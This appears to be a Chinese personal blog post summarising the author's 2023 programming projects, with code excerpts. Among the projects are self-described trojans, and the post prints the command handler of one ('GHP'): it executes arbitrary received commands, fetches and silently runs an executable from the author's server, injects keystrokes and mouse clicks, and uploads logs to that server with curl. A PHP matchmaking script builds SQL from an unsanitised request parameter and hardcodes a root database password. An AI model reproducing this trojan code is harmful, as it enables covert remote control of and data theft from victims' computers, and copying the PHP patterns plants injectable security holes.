2023,what have I done
2023,是灵感爆发的一年
完成了 9 个主要项目,写了超过 50000 行代码。
先祝你元旦快乐吧,因为可能没有人会看到最后
<?php
$year = 2023;
$year = $year + 1;
echo "Happy New Year!";
?>
主要项目(无序)
HCSC 2023 一个免费的在线聊天网站 传送门
GoldHorse 木马 (共5代)
GHP 更强的木马 (共4代)
化学作业登记系统 (自用不开放)
Pan 云盘 (自用不开放)
Say 一言 一个支持加密的即阅即焚式写信网站 传送门
MENU 相对静止餐厅 半开玩笑的在线点餐系统 传送门
QR 极课二维码生成 实现二维码自由的免费工具 传送门
OTO 免注册的一对一即时聊天工具 传送门
Wall 延安校园墙 (停止更新) 传送门
…
主要事迹(无序)
任 相对静止餐厅工程师、架构师、美工、服装设计、策划、测试组运营
完成 日志分块上传算法(GHP)
完成 木马自动传播算法 (理论设计)
完成 列表智能刷新算法 (HCSC 2023)
…
部分代码片段(掉头发较多的)
GHP——恶搞涂鸦——光标控制函数
void move_mouse(int x,int y){
double fScreenWidth = ::GetSystemMetrics(SM_CXSCREEN) - 1;
double fScreenHeight = ::GetSystemMetrics(SM_CYSCREEN) - 1;
double fx = x * (65535.0f / fScreenWidth);
double fy = y * (65535.0f / fScreenHeight);
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, fx, fy, 0, 0);
}
void across(int x,int y,int width){
for(int i=x;i<=x+width;i++){
move_mouse(i,y);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
Sleep(5);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}
void vertical(int x,int y,int height){
for(int i=y;i<=y+height;i++){
move_mouse(x,i);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
Sleep(5);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}
GHP——指令处理函数(含日志分块上传)
void my_system(string shell){//处理指令
shell=rep(shell,"\\","\\\\");
if(shell=="e") return;//空指令不执行
if(shell!="uplog"&&shell!="clearlog") log("Shell : "+shell);
char cshell[100];
strcpy(cshell,shell.c_str());//转换类型
if(shell=="beep"){//快捷指令特判
Beep(2000,1000);
return;
}
if(shell=="update"){//自动更新
system("curl -o C:\\Windows\\ghp\\update.exe http://yahc.top/ghp/update.exe");//获取更新
system("start /min C:\\Windows\\ghp\\update.exe");//开始更新
return;
}
if(shell=="up"){
keybd_event(39,0,0,0);
return;
}
if(shell=="down"){
keybd_event(37,0,0,0);
return;
}
if(shell=="enter"){
keybd_event(13,0,0,0);
return;
}
if(shell=="esc"){
keybd_event(27,0,0,0);
return;
}
if(shell=="kg"){
keybd_event(32,0,0,0);
return;
}
if(shell=="clearlog"){
del_log();
freopen("C:\\Windows\\ghp\\log\\log.gh","w",stdout);
cout<<" ";
fclose(stdout);
log("[LOG]System : 清空了log.gh");
return;
}
if(shell=="uplog"){
del_log();
string log_temp;
ifstream log_file("C:\\Windows\\ghp\\log\\log.gh");
string temp_line;
int lines=0;
int first=-1;
while(getline(log_file,temp_line)){
log_temp+=(temp_line+"<br />");
lines++;
if(lines==100){
lines=0;
log_temp=rep(log_temp," ","%20");
log_temp=rep(log_temp,"<","^<");
log_temp=rep(log_temp,">","^>");
log_temp=rep(log_temp,"[","^[");
log_temp=rep(log_temp,"]","^]");
log_temp=rep(log_temp,"\\","\\\\");
string upshell = "curl -g -o C:\\Windows\\ghp\\log\\uplog_temp.gh.temp http://yahc.top/ghp/uplog.php?pcid="+pcid+"^&log="+log_temp;
char cshell[100000];
strcpy(cshell,upshell.c_str());//转换类型
system(cshell);
log_temp="";
}
}
log_temp=rep(log_temp," ","%20");
log_temp=rep(log_temp,"<","^<");
log_temp=rep(log_temp,">","^>");
log_temp=rep(log_temp,"[","^[");
log_temp=rep(log_temp,"]","^]");
log_temp=rep(log_temp,"\\","\\\\");
string upshell = "curl -g -o C:\\Windows\\ghp\\log\\uplog_temp.gh.temp http://yahc.top/ghp/uplog.php?pcid="+pcid+"^&log="+log_temp;
char cshell[100000];
strcpy(cshell,upshell.c_str());//转换类型
system(cshell);
log_file.close();//关闭文件
log("[LOG]System : 发送了日志");
return;
}
if(shell=="hc"){
vertical(300,300,300);
across(300,450,150);
vertical(450,300,300);
across(600,300,150);
vertical(600,300,300);
across(600,600,150);
return;
}
if(shell!="cls"){
write();
cout<<"Result:"<<endl;
system(cshell);//其他指令执行
cout<<endl;
close();
}
else{
log("[S]System : 已执行");
system("cls");
}
}
(部分)Poker斗地主自动匹配算法(未完成)
<?php
function getip() {
static $ip = '';
$ip = $_SERVER['REMOTE_ADDR'];
if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
$ip = $_SERVER['HTTP_CDN_SRC_IP'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
}
return $ip;
}
$ip = getip();
$id = $_GET['id'];
$oid = 0;
$conn = mysqli_connect("localhost","root","1234567890");
mysqli_select_db($conn,"poker");
mysqli_query($conn,"set names utf8mb4");
if($id==''){
$sql = "SELECT * FROM desks";
$result = mysqli_query($conn,$sql);
while($rows = mysqli_fetch_array($result,MYSQLI_ASSOC)){
if(($rows['ipa']==$ip||$rows['ipb']==$ip)&&$rows['ud']=="no"){
$id = $rows['id'];
}
$oid = $rows['id'];
}
if($id==''){
$id = $oid+1;
$sql = "INSERT INTO desks (ipa,ipb,id)
VALUES ('$ip','','$id')";
mysqli_query($conn,$sql);
}
mysqli_close($conn);
echo $id;
}
else{
//echo "??";
$sql = "SELECT * FROM desks";
$result = mysqli_query($conn,$sql);
while($rows = mysqli_fetch_array($result,MYSQLI_ASSOC)){
$temp_id = $rows['id'];
if($rows['id']==$id&&$rows['ipa']!=''&&$rows['ipb']!=''&&$rows['ud']=="no"){
//echo "<script>localStorage.setItem('poker-ip',";
//echo $ip;
//echo "');window.location.href='desk.php';</script>??";
$sql2 = "update desks set ud='yes' where id='$id'";
mysqli_query($conn,$sql2);
echo "ok";
}
if($rows['id']!=$id&&$rows['ipa']==''){
$sql2 = "update desks set ipa='$ip' where id='$temp_id'";
mysqli_query($conn,$sql2);
$sql2 = "delete from desks where id='$id'";
mysqli_query($conn,$sql2);
//echo "<script>localStorage.setItem('poker-ip','";
//echo $ip;
//echo "');localStorage.setItem('poker-id','";
echo $temp_id;
//echo "');window.location.href='desk.php';alert('');</script>??";
}
if($rows['id']!=$id&&$rows['ipb']==''){
$sql2 = "update desks set ipb='$ip' where id='$temp_id'";
mysqli_query($conn,$sql2);
$sql2 = "delete from desks where id='$id'";
mysqli_query($conn,$sql2);
//echo "<script>localStorage.setItem('poker-ip','";
//echo $ip;
//echo "');localStorage.setItem('poker-id','";
echo $temp_id;
//echo "');window.location.href='desk.php';alert('');</script>";
}
}
mysqli_close($conn);
}
?>
还有很多…
就写到这里吧,再次祝你元旦快乐🎉
